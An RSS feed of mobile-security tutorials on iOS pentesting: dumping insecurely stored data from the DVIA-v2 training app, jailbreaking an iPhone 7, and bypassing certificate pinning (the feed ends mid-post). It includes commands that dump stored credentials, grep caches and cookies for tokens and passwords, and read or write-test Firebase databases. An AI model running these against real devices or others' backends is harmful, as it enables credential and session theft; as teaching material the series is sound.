<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Faris Faisal 0xFF on Medium]]></title>
        <description><![CDATA[Stories by Faris Faisal 0xFF on Medium]]></description>
        <link>https://medium.com/@frsfaisall?source=rss-9dc9cf497be------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ueZmSE2HOBoqmq1G4wqLJA.jpeg</url>
            <title>Stories by Faris Faisal 0xFF on Medium</title>
            <link>https://medium.com/@frsfaisall?source=rss-9dc9cf497be------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 20:18:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@frsfaisall/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mastering iOS Pentesting: Part 4 — Data Storage: What Your App Leaves Behind]]></title>
            <link>https://medium.com/@frsfaisall/mastering-ios-pentesting-part-4-data-storage-what-your-app-leaves-behind-ad7ba3ab9c9a?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad7ba3ab9c9a</guid>
            <category><![CDATA[ios]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sat, 09 May 2026 11:18:33 GMT</pubDate>
            <atom:updated>2026-05-09T11:18:33.186Z</atom:updated>
            <content:encoded><![CDATA[<p><em>“If you can read the data, you don’t need to break the logic.”</em></p><blockquote>In real-world engagements, especially in fintech and high-value targets, <strong>insecure data storage is one of the fastest paths to compromise</strong>.</blockquote><blockquote>In this part of the series, we go fully practical and exploit insecure storage using DVIA-v2.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*j3S_3GMywLF2ncDyRtwQ0w.jpeg" /></figure><h3>Table of Contents</h3><ol><li>Quick Primer — IPA Structure (Why It Matters)</li></ol><p>2. Understanding iOS Storage</p><ul><li>2.1 App Bundle (Read-Only)</li><li>2.2 App Data Container (Target 🔥)</li></ul><p>3. Local Data Storage Exploitation</p><ul><li>3.1 Info.plist</li><li>3.2 userInfo.plist</li><li>3.3 NSUserDefaults</li><li>3.4 NSURLCache</li><li>3.5 URLCredentialStorage</li></ul><p>4. Local Databases</p><ul><li><strong>4.1 SQLite (default)</strong></li><li>4.2 Realm</li><li>4.3 Couchbase Lite</li><li>4.4 YapDatabase</li></ul><p>5. Firebase Misconfiguration</p><p>6. Sensitive Data in Cookies</p><p>7. Final Thoughts</p><h3>1. Quick Primer — IPA Structure (Why It Matters)</h3><p>An iOS app (.ipa) is just a compressed package:</p><p><em>mv app.ipa app.zip &amp;&amp; unzip app.zip</em></p><p>Inside:</p><ul><li>Payload/&lt;App&gt;.app/ → main app bundle</li><li>Info.plist → configurations (sometimes secrets 👀)</li><li>Frameworks/ → embedded libraries</li><li>_CodeSignature/ → integrity checks</li><li>PlugIns/ → extensions</li></ul><h3>2. Understanding iOS Storage</h3><p>Before attacking, know where data lives:</p><h4>2.1 App Bundle (read-only)</h4><p><em>/private/var/containers/Bundle/Application/&lt;UUID&gt;/DVIA-v2.app</em></p><p>should be checked for sensitive credentials &amp; info.plist should be checked for hard-coded secrets/credentials/API keys/etc.</p><h4>2.2 App Data (target 🔥)</h4><p><em>/private/var/mobile/Containers/Data/Application/&lt;UUID&gt;/</em></p><p>This is where everything interesting lives:</p><ul><li>Documents/</li><li>Library/</li><li>tmp/</li></ul><p>👉 This is where sensitive data lives &amp; should be checked for local storage issues</p><h4>From a penetration testing perspective, the main question is simple:</h4><blockquote><em>What sensitive data can I recover from the device without needing to exploit the backend?</em></blockquote><p>If the application stores tokens, credentials, session data, or personal information insecurely, an attacker with device access, jailbreak access, backup access, malware access, or forensic access may be able to recover it.</p><h3>3. Local Data Storage Exploitation</h3><p>Local storage is one of the <strong>most abused attack surfaces</strong> in iOS applications.</p><p>MASTG V1: MSTG-STORAGE-1, MSTG-STORAGE-2 MASVS V2: MASVS-STORAGE-1</p><h4>🔓 3.1 Info.plist (similar to AndroidManifest.xml)</h4><blockquote><strong>app metadata/configuration</strong></blockquote><p>Info.plist is part of the application bundle. It contains metadata and configuration about the application. <strong>path</strong>: <em>/private/var/containers/Bundle/Application/&lt;UUID&gt;/DVIA-v2.app/Info.plist</em></p><p><strong>Read it. Using plutil, </strong>rename the IPA to ZIP and extract it. Then copy the <strong>Info.plist</strong> file. then <strong>open</strong> using plutil -p info.plist</p><p><strong>OR read it using an objection. </strong>ios plist cat Info.plist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O_z1jDOLS1DcYmwaWPoICA.png" /></figure><p><strong>Security impact: </strong>If sensitive data is stored inside Info.plist, it can be extracted from the IPA without even running the application. That means anyone with access to the IPA can inspect the values.</p><h4>🔓 3.2 UserInfo.plist (app-created user/local data)</h4><p>Read using plutil: <em>plutil -p userInfo.plist</em></p><p>OR Read using objection: <em>ios plist cat userInfo.plist</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*tiTDr1inNPKzx4tIVZTIsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oL6Jzs69jqH__zJbqtQX2Q.png" /></figure><p><strong>Security impact: </strong>If the application stores usernames, passwords, tokens, emails, or other user data in a custom plist file without encryption, the data can be recovered easily from the file system.</p><h4>🔓 3.3 NSUserDefaults (equivalent of android SharedPrefernces.)</h4><p>UserDefaults is plaintext<em> key-value storage (no encryption by default)</em></p><p>Dump data using an objection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*VGarvyG7gVRubTDuV-3iJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtHCLSyxDosO-SucIQlE1Q.png" /><figcaption><em>ios nsuserdefaults get</em></figcaption></figure><p><strong>Security Impact: </strong>NSUserDefaults is not designed for secrets.</p><p><strong>It should not store: </strong>Passwords, Access tokens, Refresh tokens, Session IDs, API keys, Private user information, Cryptographic keys</p><h4>🔓 3.4 NSURLCache</h4><ul><li>NSURLCache is used by iOS to cache HTTP/HTTPS responses.</li><li>This can happen by default when the application performs network requests using iOS networking APIs.</li><li>Even though this is related to network communication, the actual evidence is stored locally on disk, so I include it under <strong>Local Data Storage</strong>.</li></ul><p>Common path: <em>/var/mobile/Containers/Data/Application/&lt;APP-UUID&gt;/Library/Caches/</em></p><p><strong>Look for: </strong>Cache.db Cache.db-wal Cache.db-shm</p><p><strong>using objection </strong>sqlite connect Cache.db then .tables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CwSuQxTHDgSos_K9A_f4gQ.png" /></figure><p><strong>Using sqlite3, open</strong> the cache database:<strong> </strong>cd /var/mobile/Containers/Data/Application/&lt;APP-UUID&gt;/Library/Caches/ sqlite3 Cache.db</p><p>List tables: .tables</p><p>Common tables may include:<strong> </strong>cfurl_cache_response cfurl_cache_receiver_data</p><p>Dump cached responses: SELECT * FROM cfurl_cache_response; SELECT * FROM cfurl_cache_receiver_data;</p><p>You can also use: strings Cache.db | grep -Ei &quot;token|password|email|authorization|bearer|secret|session|cookie|jwt|api_key”</p><p><strong>Security impact:</strong> Sensitive API responses may be cached locally.</p><p><strong>What to Look For: </strong>API responses &amp; Authorization headers &amp; PII &amp; Tokens &amp; Session data &amp; User profile data</p><h4>🔓 <strong>3.5 URLCredentialStorage</strong></h4><p>URLCredentialStorage is an iOS system-managed storage mechanism for credentials used by URL loading APIs.</p><p>It may store credentials for:</p><ul><li>HTTP Basic Authentication</li><li>Digest Authentication</li><li>NTLM Authentication</li><li>Proxy authentication</li></ul><p><strong>Using Objection: </strong>ios nsurlcredentialstorage dump</p><ul><li>This can reveal stored credentials used by the application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*88h5yy75-_e58-MnEXTdWA.png" /></figure><p><strong>Security impact:</strong> If credentials are stored insecurely or unnecessarily, they may be recoverable from the device during testing.</p><p><strong>Check for: </strong>username &amp; Password &amp; Host &amp; Authentication method &amp; Persistence type</p><h3>4. Local Databases</h3><p>Mobile applications often need to store structured data locally. In iOS apps, this data may be stored inside local databases such as SQLite, Realm, Couchbase Lite, or YapDatabase.</p><p>During iOS data storage testing, we should always inspect the application sandbox for database files and check whether sensitive information is stored in cleartext.</p><p><strong>📍 Common Location</strong></p><p><em>/var/mobile/Containers/Data/Application/&lt;UUID&gt;/Documents/<br>/var/mobile/Containers/Data/Application/&lt;UUID&gt;/Library/Application Support/</em></p><p><em>/var/mobile/Containers/Data/Application/&lt;UUID&gt;/Library/Caches/</em></p><p><strong>Useful command to search for local database files: </strong><em>find /var/mobile/Containers/Data/Application/&lt;UUID&gt;/ -type f | grep -Ei “\.db|\.sqlite|\.sqlite3|\.realm|\.cblite|yap”</em></p><p><strong>Security impact:</strong> Local databases may contain sensitive business data, offline records, user information, tokens, cached API responses, or internal application state.</p><ul><li>If the database is not encrypted, the data can be extracted and analyzed.</li></ul><p><strong>4.1 SQLite (default) — </strong>Using sqlites OR SQLite Viewer OR Objection</p><p>SQLite is one of the most common local database formats used by iOS applications. Developers may use it directly, or indirectly through other frameworks.</p><p>After finding the database file, open it <strong>using</strong> <strong>sqlites3</strong></p><ul><li>sqlite3 DatabaseName.sqlites</li><li>then use .tables</li><li>select * from &#39;Users&#39;</li></ul><p>OR</p><p>sqlite3 Cache.db &quot;SELECT * FROM table_name;&quot; &gt; output.txt grep -iE &quot;token|auth|session|email|user|bearer|jwt&quot; output.txt</p><p><strong>Using Objection</strong></p><p>sqlite connect model.sqlite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/1*kU9OZmlJKIuZ9dogrJQ_nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UZHbvoxGtmZLtT9CjzPT5Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8JHmJMJcMlLJXEP_RqHv6g.png" /></figure><p><strong>Using Grapefruit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6JINMmn0TipeWzc_-8ISSA.png" /></figure><h4><strong>4.2 Realm </strong>— <em>Using SSH &amp; </em>Realm browser</h4><blockquote>structured data, similar to SQLite</blockquote><p>copy the Realm file from the iDevice to the laptop using the below command: scp root@&lt;ip&gt;:/var/mobile/Containers/Data/Application/&lt;Bundle Id&gt;/Documents/default.realm .</p><p>Once we have copied the Realm file, we will <strong>open it using Realm Studio (official GUI by MongoDB Realm)</strong> <a href="https://apps.apple.com/us/app/realm-browser/id1007457278?mt=12">official site</a>. open -a &quot;Realm Studio”</p><p>Go to <strong>File → Open Realm File…</strong></p><h4><strong>4.3 Couchbase Lite </strong>— Using sqlites OR SQLite Viewer</h4><p>Couchbase Lite is a NoSQL embedded database sometimes used by iOS applications for local storage and offline synchronization.</p><p>In DVIA-v2, Couchbase Lite data can be found under the application support directory.</p><p>Steps to reproduce using sqlite3:</p><ol><li>Load the DVIA-v2 application using Grapefruit.</li><li>Navigate to: Data → Library → Application Support → CouchbaseLite → dvcouchbasedb.cblite2</li><li>Download the database file, such as: db.sqlite3</li><li>Open it using SQLite Viewer or sqlite3.</li></ol><p><em>sqlite3 db.sqlite3</em> &amp; List tables: <em>.tables</em></p><h4><strong>4.4 YapDatabase </strong>— Using sqlites OR SQLite Viewer</h4><p>YapDatabase is another local database framework used in iOS applications. It stores data in a SQLite-like format, but the actual values may be serialized or encoded.</p><p>In DVIA-v2, YapDatabase files can be found under: <em>/var/mobile/Containers/Data/Application/&lt;UUID&gt;/Library/Application Support/</em></p><p>Steps using <strong>SQLite Viewer:</strong></p><ul><li>Load the DVIA-v2 application using Grapefruit.</li><li>Navigate to: Data → Library → Application Support</li><li>Download: <em>YapDatabase.sqlite</em></li><li>Open it using SQLite Viewer.</li><li>Review the tables and decode any encoded values if needed.</li></ul><p>Sometimes the data may appear encoded, for example in hex format. In that case, copy the value and decode it using CyberChef or a similar decoding tool.</p><h3>5. Firebase Misconfiguration</h3><p><strong>Why This Matters: </strong>If Firebase rules are misconfigured, an attacker may be able to:</p><ul><li>Read sensitive user data</li><li>Dump application records</li><li>Modify backend data</li><li>Abuse weak write permissions</li></ul><blockquote>This is not only a storage issue — it is also a <strong>backend authorization issue</strong>.</blockquote><p><strong>Step 1: identify Firebase URLs in the app</strong></p><p>grep -Ri &quot;firebaseio.com&quot; . grep -Ri &quot;firebase&quot; .</p><p><strong>You may also find them in:</strong></p><ul><li>Info.plist</li><li>GoogleService-Info.plist</li><li>Frameworks/</li><li>.plist files</li><li>JavaScript files</li><li>Configuration files</li></ul><p><strong>You can also search using strings:</strong></p><p>strings * | grep -i &quot;firebase”</p><p><strong>Step 2: Test the root Database path</strong></p><p><em>curl https://&lt;project-id&gt;.firebaseio.com/.json</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjfiSP9SIYYC3YQKaOYAFA.png" /></figure><p><strong>How to Interpret the Response</strong></p><ol><li>Permission denied: This usually means unauthenticated access is blocked.</li><li>JSON data returned: This means unauthenticated users can read database content.</li><li><strong>Null response:</strong> This one needs careful wording.</li></ol><ul><li>A null response can indicate that the endpoint is accessible but the tested path has no data. <strong>It should not be reported as a vulnerability by itself unless you can confirm readable or writable access</strong> to sensitive paths.</li></ul><p><strong>Step 3: Test other Common Paths</strong></p><p>Sometimes the root path returns null, but other paths may contain data.</p><p>curl https://&lt;project-id&gt;.firebaseio.com/users.json curl https://&lt;project-id&gt;.firebaseio.com/user.json curl https://&lt;project-id&gt;.firebaseio.com/accounts.json curl https://&lt;project-id&gt;.firebaseio.com/profile.json curl https://&lt;project-id&gt;.firebaseio.com/messages.json curl https://&lt;project-id&gt;.firebaseio.com/config.json</p><p>Also test app-specific paths based on names found in the app.</p><p>For example, if you find references to orders, customers, or wallets, test:</p><p>curl https://&lt;project-id&gt;.firebaseio.com/orders.json curl https://&lt;project-id&gt;.firebaseio.com/customers.json curl https://&lt;project-id&gt;.firebaseio.com/wallets.json</p><p><strong>Step 4: 🧪 Optional Write Test</strong></p><p>curl -X PUT -d &#39;&quot;test&quot;&#39; https://&lt;project-id&gt;.firebaseio.com/pentest-test.json</p><h3>6. Sensitive Data in Cookies</h3><blockquote>(Test Session Hijacking &amp; cookie misconfigurations)</blockquote><blockquote>Even though iOS apps are not traditional browsers, apps using WKWebView still store cookies — and they can contain sensitive session data.</blockquote><p>Cookies can contain sensitive session data. location: <em>/var/mobile/Containers/Data/Application/&lt;UUID&gt;/Library/Cookies/</em></p><p><strong>Dump using stings</strong></p><p>cd Library/Cookies/ &amp;&amp; strings Cookies.binarycookies</p><p><em>strings Cookies.binarycookies | grep -Ei”session|token|auth|jwt|bearer|email|user”</em></p><p><strong>Dump using objection</strong></p><p>ios cookies get --json .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ywWOePDmJNt-AYssTBkd1A.png" /></figure><p><strong>Security impact:</strong> Cookies may expose session IDs &amp; authentication tokens &amp; tracking identifiers &amp; user identifiers &amp; backend domains.</p><p><strong>Check cookie flags: </strong>secure &amp; HttpOnly &amp; SameSite &amp; expiration &amp; domain scope &amp; path scope.</p><h3>7. Final Thoughts</h3><p>Most pentesters stop at:</p><p>❌ “Sensitive data stored locally”</p><p>But attackers think:</p><p>✔ Can I reuse this token?</p><p>✔ Can I bypass authentication?</p><p>✔ Can I escalate access?</p><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p>#MasteringiOSPentesting #Jailbreak #MobileSecurity</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad7ba3ab9c9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering iOS Pentesting: Part 1(Updated): How to Jailbreak iPhone 7 / 7 Plus on new iOS 15.8.7]]></title>
            <link>https://medium.com/@frsfaisall/mastering-ios-pentesting-part-1-updated-how-to-jailbreak-iphone-7-7-plus-on-new-ios-15-8-7-8235ac7ca457?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/8235ac7ca457</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ios]]></category>
            <category><![CDATA[iphone]]></category>
            <category><![CDATA[mobile]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 08:02:58 GMT</pubDate>
            <atom:updated>2026-04-09T08:04:40.017Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering iOS Pentesting: Part 1(Updated): How to Jailbreak iPhone 7 / 7 Plus on new iOS 15.8.7 using Dopamine 2.5b2 (April 2026)</h3><blockquote>Apple released iOS 15.8.7 on <strong>March 11, 2026</strong>. which patched the previous exploits. here is the new working method.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*VWZifb4OlsTqqd_e2aMJ-A.png" /></figure><h4><strong>Introduction</strong></h4><p>In my previous articles, I showed how to jailbreak iPhone 7 series using Dopamine. However, Apple released <strong>iOS 15.8.7</strong> in March 2026, which patched the old Landa/kfd exploit.</p><p>Because of this patch, older Dopamine versions no longer work. The jailbreak team (opa334) quickly released <strong>Dopamine 2.5b2</strong>, which adds support for the new <strong>DarkSword</strong> kernel exploit for A9–A10 devices.</p><p>This article contains the <strong>updated and currently working method</strong> as of April 2026.</p><h4>Requirements</h4><ul><li>iPhone 7 or 7 Plus running <strong>iOS 15.8.7 (latest version on 7)</strong></li><li>Mac (Apple Silicon recommended) or Windows PC</li><li>Good Lightning cable</li><li>Backup your device</li><li>Disable <strong>Find My iPhone</strong> before starting</li></ul><h4>Step-by-Step Updated Guide</h4><h4>1. Install TrollStore 2.1.1 (Permanent)</h4><ol><li>Download <strong>TrollRestore</strong> (macOS arm64): <a href="https://github.com/JJTech0130/TrollRestore/releases">https://github.com/JJTech0130/TrollRestore/releases</a></li><li>Download <strong>TrollStore.tar</strong>: <a href="https://github.com/opa334/TrollStore/releases/tag/2.1.1">https://github.com/opa334/TrollStore/releases/tag/2.1.1</a></li><li>Put TrollStore.tar in the same folder as TrollRestore.</li><li>Open Terminal and run:</li></ol><pre>cd [Your TrollRestore folder path]<br>chmod +x trollrestore<br>./trollrestore</pre><p>5. Type a system app name to replace (Recommended: Voice Memos, Calculator, Weather, or Stocks). Reinstall the app from App Store if it says not found.</p><p>6. After reboot, open the replaced app → Tap <strong>Install TrollStore</strong>.</p><p>7. Open TrollStore → Gear icon → Install Persistence Helper.</p><h4>2. Install Dopamine 2.5b2</h4><ol><li>Download Dopamine 2.5b2 (.ipa): <a href="https://github.com/opa334/Dopamine/releases/tag/2.5b2">https://github.com/opa334/Dopamine/releases/tag/2.5b2</a></li><li>Open TrollStore → Tap <strong>+</strong> → Install the Dopamine IPA.</li><li>Open Dopamine app.</li><li>Select <strong>DarkSword</strong> exploit.</li><li>Tap <strong>Jailbreak</strong>. <em>(Note: You may need 2–5 attempts as DarkSword is not 100% stable)</em></li></ol><h4>After Jailbreak</h4><ul><li>Sileo will be installed.</li><li>TrollStore remains functional.</li><li>You are now on a rootless jailbreak.</li></ul><h4><strong>Conclusion</strong></h4><p>Apple’s iOS 15.8.7 update improved security by patching older exploits, but the jailbreak community continues to find new ways. This is the latest working method at the time of writing.</p><p>I will update this article if a newer version or better method is released.</p><p>Feel free to ask questions in the comments!</p><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p>#MasteringiOSPentesting #Jailbreak #MobileSecurity</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8235ac7ca457" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 3 — Intercepting HTTPS Traffic, Bypassing Certificate Pinning & Flutter Protections (Testing…]]></title>
            <link>https://medium.com/sud0root/part-3-intercepting-https-traffic-bypassing-certificate-pinning-flutter-protections-testing-ba9557cef992?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba9557cef992</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Mon, 19 Jan 2026 12:40:49 GMT</pubDate>
            <atom:updated>2026-04-09T08:20:45.997Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering iOS Pentesting: Part 3 — Intercepting HTTPS Traffic, Bypassing Certificate Pinning &amp; Flutter Protections (Testing Network Communication)</h3><blockquote>Welcome to <strong>Part 3</strong> of the Mastering iOS Pentesting series!</blockquote><blockquote>In Part 1 we jailbroke our devices (Dopamine on iPhone 7 iOS 15.8.5 and palera1n on iPhone X iOS 16.7.12). In Part 2 we built the full lab: shell access, scp/AirDrop transfers, Filza filesystem browsing, TrollStore permanent signing, and multiple IPA decryption methods (Frida-iOS-dump, DumpDecrypter, Filza manual).</blockquote><blockquote>Now we move to the <strong>highest-impact area</strong> in mobile pentesting: <strong>network security</strong>. Most critical vulnerabilities live here — leaked tokens, plaintext credentials, weak TLS, missing pinning, or insecure API calls. We follow <strong>OWASP MASVS v2</strong> and <strong>MASTG</strong> network controls</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*esRXBjqAliju0Pt0m8UKbQ.png" /></figure><h3>Table of Contents for Part 3</h3><p><strong>1 Introduction &amp; Recap</strong></p><p><strong>2 Connecting Burp Suite &amp; Intercepting Traffic on iOS Device</strong></p><p>2.1 Adding &amp; Trusting the Burp CA Certificate on iOS</p><p>2.2 Why iOS Protects HTTPS from Interception (ATS, QUIC, DoH, Private Relay)</p><p>2.3 Solving “iOS Ignores Wi-Fi Proxy” Using Potatso VPN / SSL Kill Switch</p><p><strong>3 Testing iOS Network Communication (OWASP MASVS &amp; MASTG)</strong></p><p>3.1 Testing Data Encryption on the Network (HTTPS Enforcement)</p><p>3.2 Identifying Insecure TLS Protocols &amp; Weak Ciphers</p><p>3.3 Verifying Server Certificate Pinning</p><p><strong>4 Bypassing Certificate Pinning</strong></p><p>4.1 Method 1: SSL Kill Switch 3 (Tweak-Based Bypass)</p><p>4.2 Method 2: Frida Scripts (Dynamic Runtime Bypass)</p><p>4.3 Method 3: Objection (Frida Wrapper)</p><p>4.4 Method 4: Binary Patching (Advanced — Persistent)</p><p><strong>5 Intercepting &amp; Bypassing Flutter Traffic</strong></p><p>5.1 Identifying Flutter Applications</p><p>5.2 Intercepting Flutter Network Traffic (Potatso VPN)</p><p>5.3 Bypassing Flutter SSL Pinning</p><p>5.3.1 Static Bypass Using reFlutter</p><p>5.3.2 Dynamic Bypass Using Frida</p><h3>2. Connecting Burp Suite &amp; Intercepting Traffic on iOS Device</h3><h4><strong>2.1 Step-by-step to add &amp; trust Burp certificate:</strong></h4><p>Follow the official PortSwigger guide to configure Burp for iOS: <a href="https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device">https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device</a></p><p>After trusting the Burp certificate on iOS, you would expect full HTTPS interception… but it will still not work fully for most apps and Safari.</p><h4><strong>2.2 Why iOS Protects HTTPS from Interception (Even After Trusting the CA):</strong></h4><p>iOS intentionally prevents HTTPS interception — even after you trust a custom CA — by using multiple security layers:</p><ul><li><strong>Strict TLS enforcement (ATS + CFNetwork):</strong> iOS blocks user-installed CAs for most HTTPS traffic unless the CA is Apple-signed, MDM-pushed, or the app explicitly opts out (which Apple apps don’t).</li><li><strong>Modern protocols &amp; encrypted DNS:</strong> Safari prefers <strong>HTTP/3 (QUIC)</strong> and uses <strong>DoH/DoT</strong>, both of which bypass traditional proxy interception.</li><li><strong>Proxy bypass mechanisms:</strong> <strong>iCloud Private Relay</strong> and security-critical Apple endpoints route traffic around manual proxies.</li></ul><p><strong>Result:</strong> Tools like Burp usually only see CONNECT requests (or nothing). Full HTTPS request/response data remains encrypted and inaccessible.</p><h4>2.3 <strong>Solution: Use Potatso VPN or </strong>SSL kill switch 3 <strong>to Fix “iOS Ignores Wi-Fi Manual Proxy”</strong></h4><p>Potatso is exactly the kind of app that fixes this problem — it creates a <strong>system VPN/tunnel</strong> and <strong>forces all device traffic</strong> through the proxy you configure. That’s why you saw HTTPS traffic reach Burp on your other device.it runs as a system VPN, it doesn’t rely on the Wi-Fi “Manual Proxy” setting. it captures and reroutes system traffic, so Burp gets the TLS CONNECTs and can MITM (provided the Burp CA is trusted).</p><p><strong>Configure Potatso proxy:</strong></p><ol><li>Open Potatso → Manual input “add” OR Profiles / Proxies → Add new proxy:</li></ol><ul><li>Type: HTTP (or SOCKS5 if you prefer; Burp supports both — HTTP is easiest)</li><li>Host: &lt;your-laptop-ip&gt; (e.g., 192.168.1.10) &amp; Port: 8080 then Save</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*vSdSFVFrsOWu7hu_4z9b8A.png" /></figure><ul><li>Toggle the profile ON — iOS will show the VPN icon in the status bar.</li><li>Potatso will request permission to add a VPN profile — allow it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*ETSQy3SWNBR8feC2MZlSHQ.png" /></figure><blockquote>note: make sure invisible proxying enabled and Device connected to same Wi-Fi as laptop</blockquote><ul><li>Open the browser, and you will find all traffic intercepted.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hM2PG7mSiood8qJwFPgqIw.png" /></figure><h3>3. Testing iOS Network Communication (OWASP MASVS &amp; MASTG)</h3><p>We group all core tests here with direct references to <strong>OWASP MASVS v2</strong> and <strong>MASTG</strong> — the standards every mobile pentester uses.</p><h4>2.1 Testing Data Encryption on the Network (HTTPS Enforcement)</h4><p><strong>MASVS V2:</strong> MASVS-NETWORK-1 <strong>MASTG:</strong> MSTG-NETWORK-1</p><p><strong>Goal:</strong> Confirm the app enforces HTTPS for all requests — no cleartext HTTP fallback (even if Info.plist appears to block it).</p><p><strong>Steps (now that traffic is visible):</strong></p><ol><li>Open Potatso and Burp listener active.</li><li>Launch the target app (DVIA-v2, iGoat-Swift, or real app).</li><li>Perform actions that trigger network calls: login, fetch user data, submit forms, etc.</li><li>In Burp <strong>HTTP history</strong> or <strong>Proxy &gt; Intercept</strong>:</li></ol><ul><li>Look for any <strong>HTTP</strong> requests (not HTTPS) — these appear in plain text (red flag = vulnerability).</li><li>Check request URLs: all should start with https:// — any http:// means plaintext transmission.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*Ew_HR8_cpjUaYMwTF7BEhQ.png" /></figure><p><strong>5. Cross-check Info.plist </strong>(from decrypted IPA in Part 2):</p><ul><li>Open in Filza or unzip IPA → Search for <strong>NSAllowsArbitraryLoads.</strong></li><li>If YES → App allows HTTP anywhere (insecure).</li><li>Look for <strong>NSExceptionDomains</strong> allowing HTTP exceptions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*y5-uao-SAsqtj3lQtXpoPg.png" /><figcaption>NSAllowsArbitraryLoads</figcaption></figure><h4>2.2 Insecure TLS Protocols in Network Traffic</h4><p><strong>MASTG-TEST-0218:</strong> Insecure TLS Protocols in Network Traffic</p><p><strong>Goal:</strong> Detect use of deprecated TLS versions (1.0 or 1.1) or weak ciphers.</p><blockquote><em>all device traffic can be captured in Wireshark without modifying the iOS system, making it ideal for analyzing app communication and network behavior during iOS security testing.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jlsTdymVNj1RA4_K.png" /></figure><p><strong>Assessment:</strong></p><ul><li><strong>TLS 1.0 / 1.1 or weak ciphers</strong> → ❌ <em>Vulnerability</em> (downgrade attacks, MITM possible)</li><li><strong>TLS 1.2+ with strong ciphers only</strong> → ✅ <em>Secure</em></li></ul><h4>2.3 Verify Server Certificate Pinning</h4><p><strong>MASVS V2:</strong> MASVS-NETWORK-2 <strong>MASTG:</strong> MSTG-NETWORK-4</p><p><strong>Goal:</strong> Confirm the app enforces certificate or public-key pinning.</p><p><strong>Steps:</strong></p><ol><li>Potatso + Burp proxy active (CA trusted).</li><li>Trigger HTTPS request in the app.</li><li><strong>Expected behavior (pinning present):</strong></li></ol><ul><li>App fails to connect → SSL/TLS error or “certificate not trusted” message.</li></ul><figure><img alt="" 